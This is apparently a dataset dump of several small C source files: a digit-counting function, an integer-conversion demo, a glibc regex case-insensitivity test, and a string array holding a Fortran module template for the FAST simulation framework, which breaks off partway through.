file
stringlengths 18
26
| data
stringlengths 2
1.05M
|
---|---|
the_stack_data/165769573.c |
int decimal_digits_naive(int x) {
assert(x >= 0);
if (x == 0)
return 1;
int pow = 1;
int digits = 0;
while (x >= pow) {
pow *= 10;
digits += 1;
}
return digits;
}
|
the_stack_data/851675.c | #include <stdio.h>
int main(void){
int l;
int m;
short s;
char c;
l = 0x7fffffff;
s = l;
c = l;
m = l +1;
printf("l = 0x%x (%d) (%d bits)\n", l, l, sizeof(l) * 8);
printf("s = 0x%x (%d) (%d bits)\n", s, s, sizeof(s) * 8);
printf("c = 0x%x (%d) (%d bits)\n", c, c, sizeof(c) * 8);
printf("m = 0x%x (%d) (%d bits)\n", m, m, sizeof(m) * 8);
return 0;
} |
the_stack_data/145521.c | /* Test for case handling in regex.
Copyright (C) 2001 Free Software Foundation, Inc.
This file is part of the GNU C Library.
Contributed by Jakub Jelinek <[email protected]>, 2001.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<http://www.gnu.org/licenses/>. */
#include <sys/types.h>
#include <regex.h>
#include <stdio.h>
#include <stdlib.h>
int
main (void)
{
regex_t re;
int n;
n = regcomp (&re, "[a-bA-B]", REG_ICASE);
if (n != 0)
{
char buf[500];
regerror (n, &re, buf, sizeof (buf));
printf ("regcomp failed: %s\n", buf);
exit (1);
}
regfree (&re);
return 0;
}
|
the_stack_data/225144217.c | char *template_data[] = {
"!**********************************************************************************************************************************",
"!> ## ModuleName",
"!! The ModuleName and ModuleName_Types modules make up a template for creating user-defined calculations in the FAST Modularization",
"!! Framework. ModuleName_Types will be auto-generated by the FAST registry program, based on the variables specified in the",
"!! ModuleName_Registry.txt file.",
"!!",
"! ..................................................................................................................................",
"!! ## LICENSING",
"!! Copyright (C) 2012-2013, 2015-2016 National Renewable Energy Laboratory",
"!!",
"!! This file is part of ModuleName.",
"!!",
"!! Licensed under the Apache License, Version 2.0 (the \"License\");",
"!! you may not use this file except in compliance with the License.",
"!! You may obtain a copy of the License at",
"!!",
"!! http://www.apache.org/licenses/LICENSE-2.0",
"!!",
"!! Unless required by applicable law or agreed to in writing, software",
"!! distributed under the License is distributed on an \"AS IS\" BASIS,",
"!! WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.",
"!! See the License for the specific language governing permissions and",
"!! limitations under the License.",
"!**********************************************************************************************************************************",
"MODULE ModuleName",
"",
" USE ModuleName_Types",
" USE NWTC_Library",
"",
" IMPLICIT NONE",
"",
" PRIVATE",
"",
" TYPE(ProgDesc), PARAMETER :: ModName_Ver = ProgDesc( 'ModuleName', '', '' ) !< module date/version information",
"",
"",
" ! ..... Public Subroutines ...................................................................................................",
"",
" PUBLIC :: ModName_Init ! Initialization routine",
" PUBLIC :: ModName_End ! Ending routine (includes clean up)",
"",
" PUBLIC :: ModName_UpdateStates ! Loose coupling routine for solving for constraint states, integrating",
" ! continuous states, and updating discrete states",
" PUBLIC :: ModName_CalcOutput ! Routine for computing outputs",
"",
" PUBLIC :: ModName_CalcConstrStateResidual ! Tight coupling routine for returning the constraint state residual",
" PUBLIC :: ModName_CalcContStateDeriv ! Tight coupling routine for computing derivatives of continuous states",
" PUBLIC :: ModName_UpdateDiscState ! Tight coupling routine for updating discrete states",
"",
" PUBLIC :: ModName_JacobianPInput ! Routine to compute the Jacobians of the output(Y), continuous - (X), discrete -",
" ! (Xd), and constraint - state(Z) functions all with respect to the inputs(u)",
" PUBLIC :: ModName_JacobianPContState ! Routine to compute the Jacobians of the output(Y), continuous - (X), discrete -",
" ! (Xd), and constraint - state(Z) functions all with respect to the continuous",
" ! states(x)",
" PUBLIC :: ModName_JacobianPDiscState ! Routine to compute the Jacobians of the output(Y), continuous - (X), discrete -",
" ! (Xd), and constraint - state(Z) functions all with respect to the discrete",
" ! states(xd)",
" PUBLIC :: ModName_JacobianPConstrState ! Routine to compute the Jacobians of the output(Y), continuous - (X), discrete -",
" ! (Xd), and constraint - state(Z) functions all with respect to the constraint",
" ! states(z)",
" PUBLIC :: ModName_GetOP ! Routine to get the operating-point values for linearization (from data structures to arrays)",
"",
"CONTAINS",
"!----------------------------------------------------------------------------------------------------------------------------------",
"!> This routine is called at the start of the simulation to perform initialization steps.",
"!! The parameters are set here and not changed during the simulation.",
"!! The initial states and initial guess for the input are defined. ",
"SUBROUTINE ModName_Init( InitInp, u, p, x, xd, z, OtherState, y, misc, Interval, InitOut, ErrStat, ErrMsg )",
"!..................................................................................................................................",
"",
" TYPE(ModName_InitInputType), INTENT(IN ) :: InitInp !< Input data for initialization routine",
" TYPE(ModName_InputType), INTENT( OUT) :: u !< An initial guess for the input; input mesh must be defined",
" TYPE(ModName_ParameterType), INTENT( OUT) :: p !< Parameters",
" TYPE(ModName_ContinuousStateType), INTENT( OUT) :: x !< Initial continuous states",
" TYPE(ModName_DiscreteStateType), INTENT( OUT) :: xd !< Initial discrete states",
" TYPE(ModName_ConstraintStateType), INTENT( OUT) :: z !< Initial guess of the constraint states",
" TYPE(ModName_OtherStateType), INTENT( OUT) :: OtherState !< Initial other states (logical, etc)",
" TYPE(ModName_OutputType), INTENT( OUT) :: y !< Initial system outputs (outputs are not calculated;",
" !! only the output mesh is initialized)",
" TYPE(ModName_MiscVarType), INTENT( OUT) :: misc !< Misc variables for optimization (not copied in glue code)",
" REAL(DbKi), INTENT(INOUT) :: Interval !< Coupling interval in seconds: the rate that",
" !! (1) ModName_UpdateStates() is called in loose coupling &",
" !! (2) ModName_UpdateDiscState() is called in tight coupling.",
" !! Input is the suggested time from the glue code;",
" !! Output is the actual coupling interval that will be used",
" !! by the glue code.",
" TYPE(ModName_InitOutputType), INTENT( OUT) :: InitOut !< Output for initialization routine",
" INTEGER(IntKi), INTENT( OUT) :: ErrStat !< Error status of the operation",
" CHARACTER(*), INTENT( OUT) :: ErrMsg !< Error message if ErrStat /= ErrID_None",
"",
" ! local variables",
"",
" INTEGER(IntKi) :: NumOuts ! number of outputs; would probably be in the parameter type",
" INTEGER(IntKi) :: ErrStat2 ! local error status",
" CHARACTER(ErrMsgLen) :: ErrMsg2 ! local error message",
" CHARACTER(*), PARAMETER :: RoutineName = 'ModName_Init'",
"",
" !! Initialize variables",
"",
" ErrStat = ErrID_None",
" ErrMsg = ''",
" NumOuts = 2",
"",
"",
" ! Initialize the NWTC Subroutine Library",
"",
" call NWTC_Init( )",
"",
" ! Display the module information",
"",
" call DispNVD( ModName_Ver )",
"",
"",
" ! Define parameters here:",
"",
" p%DT = Interval",
"",
"",
" ! Define initial system states here:",
"",
" x%DummyContState = 0.0_ReKi",
" xd%DummyDiscState = 0.0_ReKi",
" z%DummyConstrState = 0.0_ReKi",
" OtherState%DummyOtherState = 0.0_ReKi",
"",
" ! define optimization variables here:",
" misc%DummyMiscVar = 0.0_ReKi",
"",
" ! Define initial guess for the system inputs here:",
"",
" u%DummyInput = 0.0_ReKi",
"",
"",
" ! Define system output initializations (set up mesh) here:",
" call AllocAry( y%WriteOutput, NumOuts, 'WriteOutput', ErrStat2, ErrMsg2 )",
" call SetErrStat(ErrStat2,ErrMsg2,ErrStat,ErrMsg,RoutineName) ! set return error status based on local (concatenate errors)",
" if (ErrStat >= AbortErrLev) return ! if there are local variables that need to be deallocated, do so before early return",
" ",
" y%DummyOutput = 0",
" y%WriteOutput = 0",
"",
"",
" ! Define initialization-routine output here:",
" call AllocAry(InitOut%WriteOutputHdr,NumOuts,'WriteOutputHdr',ErrStat2,ErrMsg2); call SetErrStat(ErrStat2,ErrMsg2,ErrStat,ErrMsg,RoutineName)",
" call AllocAry(InitOut%WriteOutputUnt,NumOuts,'WriteOutputUnt',ErrStat2,ErrMsg2); call SetErrStat(ErrStat2,ErrMsg2,ErrStat,ErrMsg,RoutineName)",
" if (ErrStat >= AbortErrLev) return ! if there are local variables that need to be deallocated, do so before early return",
"",
" InitOut%WriteOutputHdr = (/ 'Time ', 'Column2' /)",
" InitOut%WriteOutputUnt = (/ '(s)', '(-)' /)",
"",
"",
" ! If you want to choose your own rate instead of using what the glue code suggests, tell the glue code the rate at which",
" ! this module must be called here:",
"",
" !Interval = p%DT",
"",
"",
" if (InitInp%Linearize) then",
"",
" ! If this module does not implement the four Jacobian routines at the end of this template, or the module cannot",
" ! linearize with the features that are enabled, stop the simulation if InitInp%Linearize is true.",
"",
" CALL SetErrStat( ErrID_Fatal, 'ModuleName cannot perform linearization analysis.', ErrStat, ErrMsg, RoutineName)",
"",
" ! Otherwise, if the module does allow linearization, return the appropriate Jacobian row/column names and rotating-frame flags here:",
" ! Allocate and set these variables: InitOut%LinNames_y, InitOut%LinNames_x, InitOut%LinNames_xd, InitOut%LinNames_z, InitOut%LinNames_u",
" ! Allocate and set these variables: InitOut%RotFrame_y, InitOut%RotFrame_x, InitOut%RotFrame_xd, InitOut%RotFrame_z, InitOut%RotFrame_u",
" ! Allocate and set these variables: InitOut%IsLoad_u, InitOut%DerivOrder_x",
"",
" end if",
"",
"",
"END SUBROUTINE ModName_Init",
"!----------------------------------------------------------------------------------------------------------------------------------",
"!> This routine is called at the end of the simulation.",
"SUBROUTINE ModName_End( u, p, x, xd, z, OtherState, y, misc, ErrStat, ErrMsg )",
"!..................................................................................................................................",
"",
" TYPE(ModName_InputType), INTENT(INOUT) :: u !< System inputs",
" TYPE(ModName_ParameterType), INTENT(INOUT) :: p !< Parameters",
" TYPE(ModName_ContinuousStateType), INTENT(INOUT) :: x !< Continuous states",
" TYPE(ModName_DiscreteStateType), INTENT(INOUT) :: xd !< Discrete states",
" TYPE(ModName_ConstraintStateType), INTENT(INOUT) :: z !< Constraint states",
" TYPE(ModName_OtherStateType), INTENT(INOUT) :: OtherState !< Other states",
" TYPE(ModName_OutputType), INTENT(INOUT) :: y !< System outputs",
" TYPE(ModName_MiscVarType), INTENT(INOUT) :: misc !< Misc variables for optimization (not copied in glue code)",
" INTEGER(IntKi), INTENT( OUT) :: ErrStat !< Error status of the operation",
" CHARACTER(*), INTENT( OUT) :: ErrMsg !< Error message if ErrStat /= ErrID_None",
"",
" ! local variables",
" INTEGER(IntKi) :: ErrStat2 ! local error status",
" CHARACTER(ErrMsgLen) :: ErrMsg2 ! local error message",
" CHARACTER(*), PARAMETER :: RoutineName = 'ModName_End'",
"",
" ! Initialize ErrStat",
"",
" ErrStat = ErrID_None",
" ErrMsg = ''",
"",
"",
" !! Place any last minute operations or calculations here:",
"",
"",
" !! Close files here (but because of checkpoint-restart capability, it is not recommended to have files open during the simulation):",
"",
"",
" !! Destroy the input data:",
"",
" call ModName_DestroyInput( u, ErrStat2, ErrMsg2 )",
" call SetErrStat(ErrStat2,ErrMsg2,ErrStat,ErrMsg,RoutineName)",
"",
"",
" !! Destroy the parameter data:",
"",
" call ModName_DestroyParam( p, ErrStat2, ErrMsg2 )",
" call SetErrStat(ErrStat2,ErrMsg2,ErrStat,ErrMsg,RoutineName)",
"",
" !! Destroy the state data:",
"",
" call ModName_DestroyContState( x, ErrStat2,ErrMsg2); call SetErrStat(ErrStat2,ErrMsg2,ErrStat,ErrMsg,RoutineName)",
" call ModName_DestroyDiscState( xd, ErrStat2,ErrMsg2); call SetErrStat(ErrStat2,ErrMsg2,ErrStat,ErrMsg,RoutineName)",
" call ModName_DestroyConstrState( z, ErrStat2,ErrMsg2); call SetErrStat(ErrStat2,ErrMsg2,ErrStat,ErrMsg,RoutineName)",
" call ModName_DestroyOtherState( OtherState, ErrStat2,ErrMsg2); call SetErrStat(ErrStat2,ErrMsg2,ErrStat,ErrMsg,RoutineName)",
"",
"",
" !! Destroy the output data:",
"",
" call ModName_DestroyOutput( y, ErrStat2, ErrMsg2 ); call SetErrStat(ErrStat2,ErrMsg2,ErrStat,ErrMsg,RoutineName)",
"",
" ",
" !! Destroy the misc data:",
"",
" call ModName_DestroyMisc( misc, ErrStat2, ErrMsg2 ); call SetErrStat(ErrStat2,ErrMsg2,ErrStat,ErrMsg,RoutineName)",
"",
"",
"END SUBROUTINE ModName_End",
"!----------------------------------------------------------------------------------------------------------------------------------",
"!> This is a loose coupling routine for solving constraint states, integrating continuous states, and updating discrete and other ",
"!! states. Continuous, constraint, discrete, and other states are updated to values at t + Interval.",
"SUBROUTINE ModName_UpdateStates( t, n, Inputs, InputTimes, p, x, xd, z, OtherState, misc, ErrStat, ErrMsg )",
"!..................................................................................................................................",
"",
" REAL(DbKi), INTENT(IN ) :: t !< Current simulation time in seconds",
" INTEGER(IntKi), INTENT(IN ) :: n !< Current step of the simulation: t = n*Interval",
" TYPE(ModName_InputType), INTENT(INOUT) :: Inputs(:) !< Inputs at InputTimes (output from this routine only ",
" !! because of record keeping in routines that copy meshes)",
" REAL(DbKi), INTENT(IN ) :: InputTimes(:) !< Times in seconds associated with Inputs",
" TYPE(ModName_ParameterType), INTENT(IN ) :: p !< Parameters",
" TYPE(ModName_ContinuousStateType), INTENT(INOUT) :: x !< Input: Continuous states at t;",
" !! Output: Continuous states at t + Interval",
" TYPE(ModName_DiscreteStateType), INTENT(INOUT) :: xd !< Input: Discrete states at t;",
" !! Output: Discrete states at t + Interval",
" TYPE(ModName_ConstraintStateType), INTENT(INOUT) :: z !< Input: Constraint states at t;",
" !! Output: Constraint states at t + Interval",
" TYPE(ModName_OtherStateType), INTENT(INOUT) :: OtherState !< Other states: Other states at t;",
" !! Output: Other states at t + Interval",
" TYPE(ModName_MiscVarType), INTENT(INOUT) :: misc !< Misc variables for optimization (not copied in glue code)",
" INTEGER(IntKi), INTENT( OUT) :: ErrStat !< Error status of the operation",
" CHARACTER(*), INTENT( OUT) :: ErrMsg !< Error message if ErrStat /= ErrID_None",
"",
" ! Local variables",
"",
" TYPE(ModName_ContinuousStateType) :: dxdt ! Continuous state derivatives at t",
" TYPE(ModName_DiscreteStateType) :: xd_t ! Discrete states at t (copy)",
" TYPE(ModName_ConstraintStateType) :: z_Residual ! Residual of the constraint state functions (Z)",
" TYPE(ModName_InputType) :: u ! Instantaneous inputs",
" ",
" INTEGER(IntKi) :: ErrStat2 ! local error status",
" CHARACTER(ErrMsgLen) :: ErrMsg2 ! local error message",
" CHARACTER(*), PARAMETER :: RoutineName = 'ModName_UpdateStates'",
"",
"",
" ! Initialize variables",
"",
" ErrStat = ErrID_None ! no error has occurred",
" ErrMsg = ''",
"",
"",
" ! This subroutine contains an example of how the states could be updated. Developers will",
" ! want to adjust the logic as necessary for their own situations.",
"",
"",
"",
" ! Get the inputs at time t, based on the array of values sent by the glue code:",
"",
" ! before calling ExtrapInterp routine, memory in u must be allocated; we can do that with a copy:",
" call ModName_CopyInput( Inputs(1), u, MESH_NEWCOPY, ErrStat2, ErrMsg2 )",
" call SetErrStat(ErrStat2,ErrMsg2,ErrStat,ErrMsg,RoutineName)",
" if ( ErrStat >= AbortErrLev ) then",
" call cleanup() ! to avoid memory leaks, we have to destroy the local variables that may have allocatable arrays or meshes",
" return",
" end if",
"",
" call ModName_Input_ExtrapInterp( Inputs, InputTimes, u, t, ErrStat2, ErrMsg2 ) ",
" call SetErrStat(ErrStat2,ErrMsg2,ErrStat,ErrMsg,RoutineName)",
" if ( ErrStat >= AbortErrLev ) then",
" call cleanup()",
" return",
" end if",
"",
"",
"",
" ! Get first time derivatives of continuous states (dxdt):",
"",
" call ModName_CalcContStateDeriv( t, u, p, x, xd, z, OtherState, misc, dxdt, ErrStat2, ErrMsg2 )",
" call SetErrStat(ErrStat2,ErrMsg2,ErrStat,ErrMsg,RoutineName)",
" if ( ErrStat >= AbortErrLev ) then",
" call cleanup()",
" return",
" end if",
"",
"",
" ! Update discrete states:",
" ! Note that xd [discrete state] is changed in ModName_UpdateDiscState() so xd will now contain values at t+Interval",
" ! We'll first make a copy that contains xd at time t, which will be used in computing the constraint states",
" call ModName_CopyDiscState( xd, xd_t, MESH_NEWCOPY, ErrStat2, ErrMsg2 )",
" call SetErrStat(ErrStat2,ErrMsg2,ErrStat,ErrMsg,RoutineName)",
" if ( ErrStat >= AbortErrLev ) then",
" call cleanup()",
" return",
" end if",
"",
" call ModName_UpdateDiscState( t, n, u, p, x, xd, z, OtherState, misc, ErrStat2, ErrMsg2 )",
" call SetErrStat(ErrStat2,ErrMsg2,ErrStat,ErrMsg,RoutineName)",
" if ( ErrStat >= AbortErrLev ) then",
" call cleanup()",
" return",
" end if",
"",
"",
" ! Solve for the constraint states (z) here:",
"",
" ! Iterate until the value is within a given tolerance.",
"",
" ! DO ",
"",
" call ModName_CalcConstrStateResidual( t, u, p, x, xd_t, z, OtherState, misc, Z_Residual, ErrStat2, ErrMsg2 )",
" call SetErrStat(ErrStat2,ErrMsg2,ErrStat,ErrMsg,RoutineName)",
" if ( ErrStat >= AbortErrLev ) then",
" call cleanup()",
" return",
" end if",
"",
" ! z =",
"",
" ! END DO",
"",
"",
"",
" ! Integrate (update) continuous states (x) here:",
"",
" !x = function of dxdt and x",
"",
"",
" ! Destroy local variables before returning",
" call cleanup()",
"",
"",
"CONTAINS",
" SUBROUTINE cleanup()",
" ! note that this routine inherits all of the data in ModName_UpdateStates",
"",
"",
" CALL ModName_DestroyInput( u, ErrStat2, ErrMsg2)",
" CALL ModName_DestroyConstrState( Z_Residual, ErrStat2, ErrMsg2)",
" CALL ModName_DestroyContState( dxdt, ErrStat2, ErrMsg2)",
" CALL ModName_DestroyDiscState( xd_t, ErrStat2, ErrMsg2) ",
"",
" END SUBROUTINE cleanup",
"END SUBROUTINE ModName_UpdateStates",
"!----------------------------------------------------------------------------------------------------------------------------------",
"!> This is a routine for computing outputs, used in both loose and tight coupling.",
"SUBROUTINE ModName_CalcOutput( t, u, p, x, xd, z, OtherState, y, misc, ErrStat, ErrMsg )",
"!..................................................................................................................................",
"",
" REAL(DbKi), INTENT(IN ) :: t !< Current simulation time in seconds",
" TYPE(ModName_InputType), INTENT(IN ) :: u !< Inputs at t",
" TYPE(ModName_ParameterType), INTENT(IN ) :: p !< Parameters",
" TYPE(ModName_ContinuousStateType), INTENT(IN ) :: x !< Continuous states at t",
" TYPE(ModName_DiscreteStateType), INTENT(IN ) :: xd !< Discrete states at t",
" TYPE(ModName_ConstraintStateType), INTENT(IN ) :: z !< Constraint states at t",
" TYPE(ModName_OtherStateType), INTENT(IN ) :: OtherState !< Other states at t",
" TYPE(ModName_MiscVarType), INTENT(INOUT) :: misc !< Misc variables for optimization (not copied in glue code)",
" TYPE(ModName_OutputType), INTENT(INOUT) :: y !< Outputs computed at t (Input only so that mesh con-",
" !! nectivity information does not have to be recalculated)",
" INTEGER(IntKi), INTENT( OUT) :: ErrStat !< Error status of the operation",
" CHARACTER(*), INTENT( OUT) :: ErrMsg !< Error message if ErrStat /= ErrID_None",
"",
"",
" ! Initialize ErrStat",
"",
" ErrStat = ErrID_None",
" ErrMsg = ''",
"",
"",
" ! Compute outputs here:",
" y%DummyOutput = 2.0_ReKi",
"",
" y%WriteOutput(1) = REAL(t,ReKi)",
" y%WriteOutput(2) = 1.0_ReKi",
"",
"",
"END SUBROUTINE ModName_CalcOutput",
"!----------------------------------------------------------------------------------------------------------------------------------",
"!> This is a tight coupling routine for computing derivatives of continuous states.",
"SUBROUTINE ModName_CalcContStateDeriv( t, u, p, x, xd, z, OtherState, misc, dxdt, ErrStat, ErrMsg )",
"!..................................................................................................................................",
"",
" REAL(DbKi), INTENT(IN ) :: t !< Current simulation time in seconds",
" TYPE(ModName_InputType), INTENT(IN ) :: u !< Inputs at t",
" TYPE(ModName_ParameterType), INTENT(IN ) :: p !< Parameters",
" TYPE(ModName_ContinuousStateType), INTENT(IN ) :: x !< Continuous states at t",
" TYPE(ModName_DiscreteStateType), INTENT(IN ) :: xd !< Discrete states at t",
" TYPE(ModName_ConstraintStateType), INTENT(IN ) :: z !< Constraint states at t",
" TYPE(ModName_OtherStateType), INTENT(IN ) :: OtherState !< Other states at t",
" TYPE(ModName_MiscVarType), INTENT(INOUT) :: misc !< Misc variables for optimization (not copied in glue code)",
" TYPE(ModName_ContinuousStateType), INTENT( OUT) :: dxdt !< Continuous state derivatives at t",
" INTEGER(IntKi), INTENT( OUT) :: ErrStat !< Error status of the operation",
" CHARACTER(*), INTENT( OUT) :: ErrMsg !< Error message if ErrStat /= ErrID_None",
"",
"",
" ! Initialize ErrStat",
"",
" ErrStat = ErrID_None",
" ErrMsg = ''",
"",
"",
" ! Compute the first time derivatives of the continuous states here:",
"",
" dxdt%DummyContState = 0.0_ReKi",
"",
"",
"END SUBROUTINE ModName_CalcContStateDeriv",
"!----------------------------------------------------------------------------------------------------------------------------------",
"!> This is a tight coupling routine for updating discrete states.",
"SUBROUTINE ModName_UpdateDiscState( t, n, u, p, x, xd, z, OtherState, misc, ErrStat, ErrMsg )",
"!..................................................................................................................................",
"",
" REAL(DbKi), INTENT(IN ) :: t !< Current simulation time in seconds",
" INTEGER(IntKi), INTENT(IN ) :: n !< Current step of the simulation: t = n*Interval",
" TYPE(ModName_InputType), INTENT(IN ) :: u !< Inputs at t",
" TYPE(ModName_ParameterType), INTENT(IN ) :: p !< Parameters",
" TYPE(ModName_ContinuousStateType), INTENT(IN ) :: x !< Continuous states at t",
" TYPE(ModName_DiscreteStateType), INTENT(INOUT) :: xd !< Input: Discrete states at t;",
" !! Output: Discrete states at t + Interval",
" TYPE(ModName_ConstraintStateType), INTENT(IN ) :: z !< Constraint states at t",
" TYPE(ModName_OtherStateType), INTENT(IN ) :: OtherState !< Other states at t",
" TYPE(ModName_MiscVarType), INTENT(INOUT) :: misc !< Misc variables for optimization (not copied in glue code)",
" INTEGER(IntKi), INTENT( OUT) :: ErrStat !< Error status of the operation",
" CHARACTER(*), INTENT( OUT) :: ErrMsg !< Error message if ErrStat /= ErrID_None",
"",
"",
" ! Initialize ErrStat",
"",
" ErrStat = ErrID_None",
" ErrMsg = ''",
"",
"",
" ! Update discrete states here:",
"",
" xd%DummyDiscState = 0.0_Reki",
"",
"END SUBROUTINE ModName_UpdateDiscState",
"!----------------------------------------------------------------------------------------------------------------------------------",
"!> This is a tight coupling routine for solving for the residual of the constraint state functions.",
"SUBROUTINE ModName_CalcConstrStateResidual( t, u, p, x, xd, z, OtherState, misc, Z_residual, ErrStat, ErrMsg )",
"!..................................................................................................................................",
"",
" REAL(DbKi), INTENT(IN ) :: t !< Current simulation time in seconds",
" TYPE(ModName_InputType), INTENT(IN ) :: u !< Inputs at t",
" TYPE(ModName_ParameterType), INTENT(IN ) :: p !< Parameters",
" TYPE(ModName_ContinuousStateType), INTENT(IN ) :: x !< Continuous states at t",
" TYPE(ModName_DiscreteStateType), INTENT(IN ) :: xd !< Discrete states at t",
" TYPE(ModName_ConstraintStateType), INTENT(IN ) :: z !< Constraint states at t (possibly a guess)",
" TYPE(ModName_OtherStateType), INTENT(IN ) :: OtherState !< Other states at t",
" TYPE(ModName_MiscVarType), INTENT(INOUT) :: misc !< Misc variables for optimization (not copied in glue code)",
" TYPE(ModName_ConstraintStateType), INTENT( OUT) :: Z_residual !< Residual of the constraint state functions using",
" !! the input values described above",
" INTEGER(IntKi), INTENT( OUT) :: ErrStat !< Error status of the operation",
" CHARACTER(*), INTENT( OUT) :: ErrMsg !< Error message if ErrStat /= ErrID_None",
"",
"",
" ! Initialize ErrStat",
"",
" ErrStat = ErrID_None",
" ErrMsg = ''",
"",
"",
" ! Solve for the residual of the constraint state functions here:",
"",
" Z_residual%DummyConstrState = 0.0_ReKi",
"",
"END SUBROUTINE ModName_CalcConstrStateResidual",
"",
"",
"!++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++",
"! ###### The following four routines are Jacobian routines for linearization capabilities #######",
"! If the module does not implement them, set ErrStat = ErrID_Fatal in ModName_Init() when InitInp%Linearize is .true.",
"!----------------------------------------------------------------------------------------------------------------------------------",
"!> Routine to compute the Jacobians of the output (Y), continuous- (X), discrete- (Xd), and constraint-state (Z) functions",
"!! with respect to the inputs (u). The partial derivatives dY/du, dX/du, dXd/du, and dZ/du are returned.",
"SUBROUTINE ModName_JacobianPInput( t, u, p, x, xd, z, OtherState, y, m, ErrStat, ErrMsg, dYdu, dXdu, dXddu, dZdu)",
"!..................................................................................................................................",
"",
" REAL(DbKi), INTENT(IN ) :: t !< Time in seconds at operating point",
" TYPE(ModName_InputType), INTENT(IN ) :: u !< Inputs at operating point (may change to inout if a mesh copy is required)",
" TYPE(ModName_ParameterType), INTENT(IN ) :: p !< Parameters",
" TYPE(ModName_ContinuousStateType), INTENT(IN ) :: x !< Continuous states at operating point",
" TYPE(ModName_DiscreteStateType), INTENT(IN ) :: xd !< Discrete states at operating point",
" TYPE(ModName_ConstraintStateType), INTENT(IN ) :: z !< Constraint states at operating point",
" TYPE(ModName_OtherStateType), INTENT(IN ) :: OtherState !< Other states at operating point",
" TYPE(ModName_OutputType), INTENT(IN ) :: y !< Output (change to inout if a mesh copy is required);",
" !! Output fields are not used by this routine, but type is",
" !! available here so that mesh parameter information (i.e.,",
" !! connectivity) does not have to be recalculated for dYdu.",
" TYPE(ModName_MiscVarType), INTENT(INOUT) :: m !< Misc/optimization variables",
" INTEGER(IntKi), INTENT( OUT) :: ErrStat !< Error status of the operation",
" CHARACTER(*), INTENT( OUT) :: ErrMsg !< Error message if ErrStat /= ErrID_None",
" REAL(R8Ki), ALLOCATABLE, OPTIONAL, INTENT(INOUT) :: dYdu(:,:) !< Partial derivatives of output functions (Y) with respect",
" !! to the inputs (u) [intent in to avoid deallocation]",
" REAL(R8Ki), ALLOCATABLE, OPTIONAL, INTENT(INOUT) :: dXdu(:,:) !< Partial derivatives of continuous state functions (X) with",
" !! respect to the inputs (u) [intent in to avoid deallocation]",
" REAL(R8Ki), ALLOCATABLE, OPTIONAL, INTENT(INOUT) :: dXddu(:,:) !< Partial derivatives of discrete state functions (Xd) with",
" !! respect to the inputs (u) [intent in to avoid deallocation]",
" REAL(R8Ki), ALLOCATABLE, OPTIONAL, INTENT(INOUT) :: dZdu(:,:) !< Partial derivatives of constraint state functions (Z) with",
" !! respect to the inputs (u) [intent in to avoid deallocation]",
"",
"",
" ! Initialize ErrStat",
"",
" ErrStat = ErrID_None",
" ErrMsg = ''",
"",
"",
" IF ( PRESENT( dYdu ) ) THEN",
"",
" ! Calculate the partial derivative of the output functions (Y) with respect to the inputs (u) here:",
"",
" ! allocate and set dYdu",
"",
" END IF",
"",
" IF ( PRESENT( dXdu ) ) THEN",
"",
" ! Calculate the partial derivative of the continuous state functions (X) with respect to the inputs (u) here:",
"",
" ! allocate and set dXdu",
"",
" END IF",
"",
" IF ( PRESENT( dXddu ) ) THEN",
"",
" ! Calculate the partial derivative of the discrete state functions (Xd) with respect to the inputs (u) here:",
"",
" ! allocate and set dXddu",
"",
" END IF",
"",
" IF ( PRESENT( dZdu ) ) THEN",
"",
" ! Calculate the partial derivative of the constraint state functions (Z) with respect to the inputs (u) here:",
"",
" ! allocate and set dZdu",
"",
" END IF",
"",
"",
"END SUBROUTINE ModName_JacobianPInput",
"!----------------------------------------------------------------------------------------------------------------------------------",
"!> Routine to compute the Jacobians of the output (Y), continuous- (X), discrete- (Xd), and constraint-state (Z) functions",
"!! with respect to the continuous states (x). The partial derivatives dY/dx, dX/dx, dXd/dx, and dZ/dx are returned.",
"SUBROUTINE ModName_JacobianPContState( t, u, p, x, xd, z, OtherState, y, m, ErrStat, ErrMsg, dYdx, dXdx, dXddx, dZdx )",
"!..................................................................................................................................",
"",
" REAL(DbKi), INTENT(IN ) :: t !< Time in seconds at operating point",
" TYPE(ModName_InputType), INTENT(IN ) :: u !< Inputs at operating point (may change to inout if a mesh copy is required)",
" TYPE(ModName_ParameterType), INTENT(IN ) :: p !< Parameters",
" TYPE(ModName_ContinuousStateType), INTENT(IN ) :: x !< Continuous states at operating point",
" TYPE(ModName_DiscreteStateType), INTENT(IN ) :: xd !< Discrete states at operating point",
" TYPE(ModName_ConstraintStateType), INTENT(IN ) :: z !< Constraint states at operating point",
" TYPE(ModName_OtherStateType), INTENT(IN ) :: OtherState !< Other states at operating point",
" TYPE(ModName_OutputType), INTENT(IN ) :: y !< Output (change to inout if a mesh copy is required);",
" !! Output fields are not used by this routine, but type is",
" !! available here so that mesh parameter information (i.e.,",
" !! connectivity) does not have to be recalculated for dYdx.",
" TYPE(ModName_MiscVarType), INTENT(INOUT) :: m !< Misc/optimization variables",
" INTEGER(IntKi), INTENT( OUT) :: ErrStat !< Error status of the operation",
" CHARACTER(*), INTENT( OUT) :: ErrMsg !< Error message if ErrStat /= ErrID_None",
" REAL(R8Ki), ALLOCATABLE, OPTIONAL, INTENT(INOUT) :: dYdx(:,:) !< Partial derivatives of output functions",
" !! (Y) with respect to the continuous",
" !! states (x) [intent in to avoid deallocation]",
" REAL(R8Ki), ALLOCATABLE, OPTIONAL, INTENT(INOUT) :: dXdx(:,:) !< Partial derivatives of continuous state",
" !! functions (X) with respect to",
" !! the continuous states (x) [intent in to avoid deallocation]",
" REAL(R8Ki), ALLOCATABLE, OPTIONAL, INTENT(INOUT) :: dXddx(:,:) !< Partial derivatives of discrete state",
" !! functions (Xd) with respect to",
" !! the continuous states (x) [intent in to avoid deallocation]",
" REAL(R8Ki), ALLOCATABLE, OPTIONAL, INTENT(INOUT) :: dZdx(:,:) !< Partial derivatives of constraint state",
" !! functions (Z) with respect to",
" !! the continuous states (x) [intent in to avoid deallocation]",
"",
"",
" ! Initialize ErrStat",
"",
" ErrStat = ErrID_None",
